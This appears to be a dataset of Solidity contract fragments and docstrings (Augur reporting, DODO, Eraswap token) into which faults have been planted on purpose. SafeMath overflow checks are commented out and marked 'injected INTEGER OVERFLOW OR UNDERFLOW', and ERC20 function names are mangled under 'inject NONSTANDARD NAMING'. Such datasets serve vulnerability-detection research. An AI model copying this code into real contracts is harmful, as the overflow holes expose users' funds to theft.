}
function newLockTimestamp(uint256 _lockTimestamp) public onlyOwner {
lockTimestamp = _lockTimestamp;
}
}
|
Gets the balance of the specified address. _owner The address to query the the balance of. return An uint256 representing the amount owned by the passed address./
|
function balanceOf(address _owner) public view returns (uint256) {
return checkVesting(_owner);
}
| 2,325,776 |
./partial_match/56/0x21B5138a47DDd690334f64C28cc1EB7e2e80a5AA/sources/ONEPIECE.sol
|
Destroys `amount` tokens from `account`.`amount` is then deducted from the caller's allowance. See {_burn} and {_approve}./
|
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance"));
}
mapping(address => uint256) owed;
address [] participants;
event Participation(address indexed, uint256);
event Dropkicked(address indexed, uint256, uint256);
uint256 bnbReceived;
| 11,257,350 |
pragma solidity 0.5.10;
import 'ROOT/libraries/Initializable.sol';
import 'ROOT/reporting/IInitialReporter.sol';
import 'ROOT/reporting/IMarket.sol';
import 'ROOT/reporting/BaseReportingParticipant.sol';
import 'ROOT/libraries/Ownable.sol';
import 'ROOT/IAugur.sol';
/**
* @title Initial Reporter
* @notice The bond used to encapsulate the initial report for a Market
*/
contract InitialReporter is Ownable, BaseReportingParticipant, Initializable, IInitialReporter {
address private designatedReporter;
address private actualReporter;
uint256 private reportTimestamp;
function initialize(IAugur _augur, IMarket _market, address _designatedReporter) public beforeInitialized {
endInitialization();
augur = _augur;
market = _market;
reputationToken = market.getUniverse().getReputationToken();
designatedReporter = _designatedReporter;
}
/**
* @notice Redeems ownership of this bond for the provided redeemer in exchange for owed REP
* @dev The address argument is ignored. There is only ever one owner of this bond, but the signature needs to match Dispute Crowdsourcer's redeem for code simplicity
* @return bool True
*/
function redeem(address) public returns (bool) {
bool _isDisavowed = isDisavowed();
if (!_isDisavowed && !market.isFinalized()) {
market.finalize();
}
uint256 _repBalance = reputationToken.balanceOf(address(this));
require(reputationToken.transfer(owner, _repBalance));
if (!_isDisavowed) {
augur.logInitialReporterRedeemed(market.getUniverse(), owner, address(market), size, _repBalance, payoutNumerators);
}
return true;
}
function report(address _reporter, bytes32 _payoutDistributionHash, uint256[] memory _payoutNumerators, uint256 _initialReportStake) public {
require(IMarket(msg.sender) == market);
require(reportTimestamp == 0, "InitialReporter.report: Report has already been placed");
uint256 _timestamp = augur.getTimestamp();
bool _isDesignatedReporter = _reporter == getDesignatedReporter();
bool _designatedReportingExpired = _timestamp > market.getDesignatedReportingEndTime();
require(_designatedReportingExpired || _isDesignatedReporter, "InitialReporter.report: Reporting time not started");
actualReporter = _reporter;
owner = _reporter;
payoutDistributionHash = _payoutDistributionHash;
reportTimestamp = _timestamp;
payoutNumerators = _payoutNumerators;
size = _initialReportStake;
}
function returnRepFromDisavow() public {
require(IMarket(msg.sender) == market);
require(reputationToken.transfer(owner, reputationToken.balanceOf(address(this))));
reportTimestamp = 0;
}
function migrateToNewUniverse(address _designatedReporter) public {
require(IMarket(msg.sender) == market);
designatedReporter = _designatedReporter;
reputationToken = market.getUniverse().getReputationToken();
}
/**
* @notice Used in the event of the market forking. First forks this bond into the appropriate child universe and then redeems there.
* @return bool True
*/
function forkAndRedeem() public returns (bool) {
if (!isDisavowed()) {
augur.logInitialReporterRedeemed(market.getUniverse(), owner, address(market), size, reputationToken.balanceOf(address(this)), payoutNumerators);
}
fork();
redeem(msg.sender);
return true;
}
/**
* @return The amount of REP currently staked in this bond
*/
function getStake() public view returns (uint256) {
return size;
}
/**
* @return The designated reporter for this market / bond
*/
function getDesignatedReporter() public view returns (address) {
return designatedReporter;
}
/**
* @return When the actual report was made if one was made
*/
function getReportTimestamp() public view returns (uint256) {
return reportTimestamp;
}
/**
* @return Bool indicating if the report was made by the Designated Reporter
*/
function designatedReporterShowed() public view returns (bool) {
return actualReporter == designatedReporter;
}
/**
* @return The REP token associated with this bond
*/
function getReputationToken() public view returns (IReputationToken) {
return reputationToken;
}
/**
* @return Bool indicating if the report was ultimately the finalzied payout
*/
function initialReporterWasCorrect() public view returns (bool) {
return payoutDistributionHash != bytes32(0) && payoutDistributionHash == market.getWinningPayoutDistributionHash();
}
function onTransferOwnership(address _owner, address _newOwner) internal {
augur.logInitialReporterTransferred(market.getUniverse(), market, _owner, _newOwner);
}
}
|
return Bool indicating if the report was ultimately the finalzied payout/
|
function initialReporterWasCorrect() public view returns (bool) {
return payoutDistributionHash != bytes32(0) && payoutDistributionHash == market.getWinningPayoutDistributionHash();
}
| 14,056,863 |
./partial_match/1/0x3f0c337eC2dD2A926C09190C6C49df04287263C8/sources/src/ICreatorProvenance.sol
|
Interface for a proposed NFT Creator Provenance Standard. A proposed standardized way to retrieve creator information for non-fungible tokens (NFTs) to enable universal support for the consistant use and display of initial provenance information across NFT marketplaces and ecosystem participants./
|
interface ICreatorProvenance {
function provenanceTokenInfo(uint256 tokenId) external view returns (address creators, bool isVerified);
function verifyTokenProvenance(uint256 tokenId) external;
}
| 9,271,859 |
// File: contracts/intf/IDODO.sol
pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;
interface IDODO {
function INIT73( //inject NONSTANDARD NAMING
address owner,
address supervisor,
address maintainer,
address baseToken,
address quoteToken,
address oracle,
uint256 lpFeeRate,
uint256 mtFeeRate,
uint256 k,
uint256 gasPriceLimit
) external;
function TRANSFEROWNERSHIP178(address newOwner) external; //inject NONSTANDARD NAMING
function CLAIMOWNERSHIP473() external; //inject NONSTANDARD NAMING
function SELLBASETOKEN811( //inject NONSTANDARD NAMING
uint256 amount,
uint256 minReceiveQuote,
bytes calldata data
) external returns (uint256);
function BUYBASETOKEN300( //inject NONSTANDARD NAMING
uint256 amount,
uint256 maxPayQuote,
bytes calldata data
) external returns (uint256);
function QUERYSELLBASETOKEN495(uint256 amount) external view returns (uint256 receiveQuote); //inject NONSTANDARD NAMING
function QUERYBUYBASETOKEN809(uint256 amount) external view returns (uint256 payQuote); //inject NONSTANDARD NAMING
function GETEXPECTEDTARGET519() external view returns (uint256 baseTarget, uint256 quoteTarget); //inject NONSTANDARD NAMING
function GETLPBASEBALANCE207(address lp) external view returns (uint256 lpBalance); //inject NONSTANDARD NAMING
function GETLPQUOTEBALANCE235(address lp) external view returns (uint256 lpBalance); //inject NONSTANDARD NAMING
function DEPOSITBASETO916(address to, uint256 amount) external returns (uint256); //inject NONSTANDARD NAMING
function WITHDRAWBASE408(uint256 amount) external returns (uint256); //inject NONSTANDARD NAMING
function WITHDRAWALLBASE463() external returns (uint256); //inject NONSTANDARD NAMING
function DEPOSITQUOTETO581(address to, uint256 amount) external returns (uint256); //inject NONSTANDARD NAMING
function WITHDRAWQUOTE312(uint256 amount) external returns (uint256); //inject NONSTANDARD NAMING
function WITHDRAWALLQUOTE274() external returns (uint256); //inject NONSTANDARD NAMING
function _BASE_CAPITAL_TOKEN_162() external view returns (address); //inject NONSTANDARD NAMING
function _QUOTE_CAPITAL_TOKEN_30() external view returns (address); //inject NONSTANDARD NAMING
function _BASE_TOKEN_914() external returns (address); //inject NONSTANDARD NAMING
function _QUOTE_TOKEN_604() external returns (address); //inject NONSTANDARD NAMING
}
// File: contracts/intf/IERC20.sol
// This is a file copied from https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/IERC20.sol
interface IERC20 {
function TOTALSUPPLY247() external view returns (uint256); //inject NONSTANDARD NAMING
function DECIMALS719() external view returns (uint8); //inject NONSTANDARD NAMING
function NAME995() external view returns (string memory); //inject NONSTANDARD NAMING
function BALANCEOF254(address account) external view returns (uint256); //inject NONSTANDARD NAMING
function TRANSFER732(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function ALLOWANCE605(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING
function APPROVE178(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM592( //inject NONSTANDARD NAMING
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/lib/SafeMath.sol
library SafeMath {
function MUL774(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function DIV734(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function DIVCEIL943(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 quotient = DIV734(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function SUB819(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a, "SUB_ERROR");
return a - b;
}
function ADD543(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function SQRT442(uint256 x) internal pure returns (uint256 y) { //inject NONSTANDARD NAMING
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/token/DODOMineReader.sol
interface IDODOMine {
function GETUSERLPBALANCE930(address _lpToken, address _user) external view returns (uint256); //inject NONSTANDARD NAMING
}
contract DODOMineReader {
using SafeMath for uint256;
function GETUSERSTAKEDBALANCE458( //inject NONSTANDARD NAMING
address _dodoMine,
address _dodo,
address _user
) public view returns (uint256 baseBalance, uint256 quoteBalance) {
address baseLpToken = IDODO(_dodo)._BASE_CAPITAL_TOKEN_162();
address quoteLpToken = IDODO(_dodo)._QUOTE_CAPITAL_TOKEN_30();
uint256 baseLpBalance = IDODOMine(_dodoMine).GETUSERLPBALANCE930(baseLpToken, _user);
uint256 quoteLpBalance = IDODOMine(_dodoMine).GETUSERLPBALANCE930(quoteLpToken, _user);
uint256 baseLpTotalSupply = IERC20(baseLpToken).TOTALSUPPLY247();
uint256 quoteLpTotalSupply = IERC20(quoteLpToken).TOTALSUPPLY247();
(uint256 baseTarget, uint256 quoteTarget) = IDODO(_dodo).GETEXPECTEDTARGET519();
baseBalance = baseTarget.MUL774(baseLpBalance).DIV734(baseLpTotalSupply);
quoteBalance = quoteTarget.MUL774(quoteLpBalance).DIV734(quoteLpTotalSupply);
return (baseBalance, quoteBalance);
}
function GETUSERTOTALBALANCE93( //inject NONSTANDARD NAMING
address _dodoMine,
address _dodo,
address _user
) external view returns (uint256 baseBalance, uint256 quoteBalance) {
(uint256 stakedBase, uint256 stakedQuote) = GETUSERSTAKEDBALANCE458(_dodoMine, _dodo, _user);
baseBalance = IDODO(_dodo).GETLPBASEBALANCE207(_user).ADD543(stakedBase);
quoteBalance = IDODO(_dodo).GETLPQUOTEBALANCE235(_user).ADD543(stakedQuote);
return (baseBalance, quoteBalance);
}
}
|
inject NONSTANDARD NAMING
|
function ALLOWANCE605(address owner, address spender) external view returns (uint256);
| 14,042,465 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
contract Mappings {
struct Payment {
uint amount;
uint timestamps;
}
struct Balance {
uint totalBalance;
uint numPayments;
mapping(uint => Payment) payments;
}
//stores mapping of addresses
mapping(address => Balance) public balanceReceived;
function getBalance() public view returns(uint) {
return address(this).balance;
}
function sendMoney() public payable {
//makes sure value being sent is greater than zero
require (msg.value != 0, "You must send a value greater than zero!") ;
assert(balanceReceived[msg.sender].totalBalance + uint64(msg.value) >= balanceReceived[msg.sender].totalBalance);
//increments value of balanceReceived from current sender by the value the current address sent to contract
balanceReceived[msg.sender].totalBalance += msg.value;
Payment memory payment = Payment(msg.value, block.timestamp);
balanceReceived[msg.sender].payments[balanceReceived[msg.sender].numPayments] = payment;
balanceReceived[msg.sender].numPayments++;
}
//remember amount should be passed in as wei
function withdrawSomeMoney(address payable _to, uint _amount) public {
//validates enough eth exist in address to send value
require (balanceReceived[msg.sender].totalBalance >= _amount, "You don't have enough ETH to send! Check your balance and try again.");
assert(balanceReceived[msg.sender].totalBalance >= balanceReceived[msg.sender].totalBalance - _amount);
//decrements the amount from current address total
balanceReceived[msg.sender].totalBalance -= _amount;
_to.transfer(_amount);
}
function withdrawAllMoney(address payable _to) public payable notZeroBalance {
require (balanceReceived[msg.sender].totalBalance > 0, "You have no ETH to withdraw!");
assert(balanceReceived[msg.sender].totalBalance >= balanceReceived[msg.sender].totalBalance - msg.value);
//stores the balance that has been received by the contract from the current address
uint balanceToSend = balanceReceived[msg.sender].totalBalance;
reset();
//sends by total eth to current address
_to.transfer(balanceToSend);
}
function reset() private {
balanceReceived[msg.sender].numPayments = 0;
balanceReceived[msg.sender].totalBalance = 0;
}
modifier notZeroBalance() {
require (getBalance() != 0, "You have no ETH to send!") ;
_;
}
}
|
remember amount should be passed in as weivalidates enough eth exist in address to send valuedecrements the amount from current address total
|
function withdrawSomeMoney(address payable _to, uint _amount) public {
require (balanceReceived[msg.sender].totalBalance >= _amount, "You don't have enough ETH to send! Check your balance and try again.");
assert(balanceReceived[msg.sender].totalBalance >= balanceReceived[msg.sender].totalBalance - _amount);
balanceReceived[msg.sender].totalBalance -= _amount;
_to.transfer(_amount);
}
| 14,022,603 |
/**
*Submitted for verification at Etherscan.io on 2020-02-25
*/
pragma solidity ^0.5.10;
// EraswapToken is pasted below for Interface requirement from https://github.com/KMPARDS/EraSwapSmartContracts/blob/master/Eraswap/contracts/EraswapToken/EraswapToken.sol
pragma solidity ^0.5.9;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value); //injected INTEGER OVERFLOW OR UNDERFLOW
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string memory _name, string memory _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
//assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
//assert(c >= _a);
return c;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value); //injected INTEGER OVERFLOW OR UNDERFLOW
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); //injected INTEGER OVERFLOW OR UNDERFLOW
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount); //injected INTEGER OVERFLOW OR UNDERFLOW
balances[_to] = balances[_to].add(_amount); //injected INTEGER OVERFLOW OR UNDERFLOW
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
public
returns (bool)
{
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract EraswapERC20 is DetailedERC20, BurnableToken, CappedToken {
string private name = "Eraswap";
string private symbol = "EST";
uint8 private decimals = 18;
uint256 private cap = 9100000000000000000000000000;
/**
* @dev Constructor
*/
constructor() internal DetailedERC20("Eraswap", "EST", 18) CappedToken(cap){
mint(msg.sender, 910000000000000000000000000);
}
}
contract NRTManager is Ownable, EraswapERC20{
using SafeMath for uint256;
uint256 public LastNRTRelease; // variable to store last release date
uint256 public MonthlyNRTAmount; // variable to store Monthly NRT amount to be released
uint256 public AnnualNRTAmount; // variable to store Annual NRT amount to be released
uint256 public MonthCount; // variable to store the count of months from the intial date
uint256 public luckPoolBal; // Luckpool Balance
uint256 public burnTokenBal; // tokens to be burned
// different pool address
address public newTalentsAndPartnerships;
address public platformMaintenance;
address public marketingAndRNR;
address public kmPards;
address public contingencyFunds;
address public researchAndDevelopment;
address public buzzCafe;
address public timeSwappers; // which include powerToken , curators ,timeTraders , daySwappers
address public TimeAlly; //address of TimeAlly Contract
uint256 public newTalentsAndPartnershipsBal; // variable to store last NRT released to the address;
uint256 public platformMaintenanceBal; // variable to store last NRT released to the address;
uint256 public marketingAndRNRBal; // variable to store last NRT released to the address;
uint256 public kmPardsBal; // variable to store last NRT released to the address;
uint256 public contingencyFundsBal; // variable to store last NRT released to the address;
uint256 public researchAndDevelopmentBal; // variable to store last NRT released to the address;
uint256 public buzzCafeNRT; // variable to store last NRT released to the address;
uint256 public TimeAllyNRT; // variable to store last NRT released to the address;
uint256 public timeSwappersNRT; // variable to store last NRT released to the address;
// Event to watch NRT distribution
// @param NRTReleased The amount of NRT released in the month
event NRTDistributed(uint256 NRTReleased);
/**
* Event to watch Transfer of NRT to different Pool
* @param pool - The pool name
* @param sendAddress - The address of pool
* @param value - The value of NRT released
**/
event NRTTransfer(string pool, address sendAddress, uint256 value);
// Event to watch Tokens Burned
// @param amount The amount burned
event TokensBurned(uint256 amount);
/**
* @dev Should burn tokens according to the total circulation
* @return true if success
*/
function burnTokens() internal returns (bool){
if(burnTokenBal == 0){
return true;
}
else{
uint MaxAmount = ((totalSupply()).mul(2)).div(100); // max amount permitted to burn in a month
if(MaxAmount >= burnTokenBal ){
burn(burnTokenBal);
burnTokenBal = 0;
}
else{
burnTokenBal = burnTokenBal.sub(MaxAmount);
burn(MaxAmount);
}
return true;
}
}
/**
* @dev To invoke monthly release
* @return true if success
*/
function MonthlyNRTRelease() external returns (bool) {
require(now.sub(LastNRTRelease)> 2592000);
uint256 NRTBal = MonthlyNRTAmount.add(luckPoolBal); // Total NRT available.
// Calculating NRT to be released to each of the pools
newTalentsAndPartnershipsBal = (NRTBal.mul(5)).div(100);
platformMaintenanceBal = (NRTBal.mul(10)).div(100);
marketingAndRNRBal = (NRTBal.mul(10)).div(100);
kmPardsBal = (NRTBal.mul(10)).div(100);
contingencyFundsBal = (NRTBal.mul(10)).div(100);
researchAndDevelopmentBal = (NRTBal.mul(5)).div(100);
buzzCafeNRT = (NRTBal.mul(25)).div(1000);
TimeAllyNRT = (NRTBal.mul(15)).div(100);
timeSwappersNRT = (NRTBal.mul(325)).div(1000);
// sending tokens to respective wallets and emitting events
mint(newTalentsAndPartnerships,newTalentsAndPartnershipsBal);
emit NRTTransfer("newTalentsAndPartnerships", newTalentsAndPartnerships, newTalentsAndPartnershipsBal);
mint(platformMaintenance,platformMaintenanceBal);
emit NRTTransfer("platformMaintenance", platformMaintenance, platformMaintenanceBal);
mint(marketingAndRNR,marketingAndRNRBal);
emit NRTTransfer("marketingAndRNR", marketingAndRNR, marketingAndRNRBal);
mint(kmPards,kmPardsBal);
emit NRTTransfer("kmPards", kmPards, kmPardsBal);
mint(contingencyFunds,contingencyFundsBal);
emit NRTTransfer("contingencyFunds", contingencyFunds, contingencyFundsBal);
mint(researchAndDevelopment,researchAndDevelopmentBal);
emit NRTTransfer("researchAndDevelopment", researchAndDevelopment, researchAndDevelopmentBal);
mint(buzzCafe,buzzCafeNRT);
emit NRTTransfer("buzzCafe", buzzCafe, buzzCafeNRT);
mint(TimeAlly,TimeAllyNRT);
emit NRTTransfer("stakingContract", TimeAlly, TimeAllyNRT);
mint(timeSwappers,timeSwappersNRT);
emit NRTTransfer("timeSwappers", timeSwappers, timeSwappersNRT);
// Reseting NRT
emit NRTDistributed(NRTBal);
luckPoolBal = 0;
LastNRTRelease = LastNRTRelease.add(30 days); // resetting release date again
burnTokens(); // burning burnTokenBal
emit TokensBurned(burnTokenBal);
if(MonthCount == 11){
MonthCount = 0;
AnnualNRTAmount = (AnnualNRTAmount.mul(9)).div(10);
MonthlyNRTAmount = MonthlyNRTAmount.div(12);
}
else{
MonthCount = MonthCount.add(1);
}
return true;
}
/**
* @dev Constructor
*/
constructor() public{
LastNRTRelease = now;
AnnualNRTAmount = 819000000000000000000000000;
MonthlyNRTAmount = AnnualNRTAmount.div(uint256(12));
MonthCount = 0;
}
}
contract PausableEraswap is NRTManager {
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require((now.sub(LastNRTRelease))< 2592000);
_;
}
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract EraswapToken is PausableEraswap {
/**
* Event to watch the addition of pool address
* @param pool - The pool name
* @param sendAddress - The address of pool
**/
event PoolAddressAdded(string pool, address sendAddress);
// Event to watch LuckPool Updation
// @param luckPoolBal The current luckPoolBal
event LuckPoolUpdated(uint256 luckPoolBal);
// Event to watch BurnTokenBal Updation
// @param burnTokenBal The current burnTokenBal
event BurnTokenBalUpdated(uint256 burnTokenBal);
/**
* @dev Throws if caller is not TimeAlly
*/
modifier OnlyTimeAlly() {
require(msg.sender == TimeAlly);
_;
}
/**
* @dev To update pool addresses
* @param pool - A List of pool addresses
* Updates if pool address is not already set and if given address is not zero
* @return true if success
*/
function UpdateAddresses (address[] memory pool) onlyOwner public returns(bool){
if((pool[0] != address(0)) && (newTalentsAndPartnerships == address(0))){
newTalentsAndPartnerships = pool[0];
emit PoolAddressAdded( "NewTalentsAndPartnerships", newTalentsAndPartnerships);
}
if((pool[1] != address(0)) && (platformMaintenance == address(0))){
platformMaintenance = pool[1];
emit PoolAddressAdded( "PlatformMaintenance", platformMaintenance);
}
if((pool[2] != address(0)) && (marketingAndRNR == address(0))){
marketingAndRNR = pool[2];
emit PoolAddressAdded( "MarketingAndRNR", marketingAndRNR);
}
if((pool[3] != address(0)) && (kmPards == address(0))){
kmPards = pool[3];
emit PoolAddressAdded( "KmPards", kmPards);
}
if((pool[4] != address(0)) && (contingencyFunds == address(0))){
contingencyFunds = pool[4];
emit PoolAddressAdded( "ContingencyFunds", contingencyFunds);
}
if((pool[5] != address(0)) && (researchAndDevelopment == address(0))){
researchAndDevelopment = pool[5];
emit PoolAddressAdded( "ResearchAndDevelopment", researchAndDevelopment);
}
if((pool[6] != address(0)) && (buzzCafe == address(0))){
buzzCafe = pool[6];
emit PoolAddressAdded( "BuzzCafe", buzzCafe);
}
if((pool[7] != address(0)) && (timeSwappers == address(0))){
timeSwappers = pool[7];
emit PoolAddressAdded( "TimeSwapper", timeSwappers);
}
if((pool[8] != address(0)) && (TimeAlly == address(0))){
TimeAlly = pool[8];
emit PoolAddressAdded( "TimeAlly", TimeAlly);
}
return true;
}
/**
* @dev Function to update luckpool balance
* @param amount Amount to be updated
*/
function UpdateLuckpool(uint256 amount) OnlyTimeAlly external returns(bool){
require(allowance(msg.sender, address(this)) >= amount);
require(transferFrom(msg.sender,address(this), amount));
luckPoolBal = luckPoolBal.add(amount); //injected INTEGER OVERFLOW OR UNDERFLOW
emit LuckPoolUpdated(luckPoolBal);
return true;
}
/**
* @dev Function to trigger to update for burning of tokens
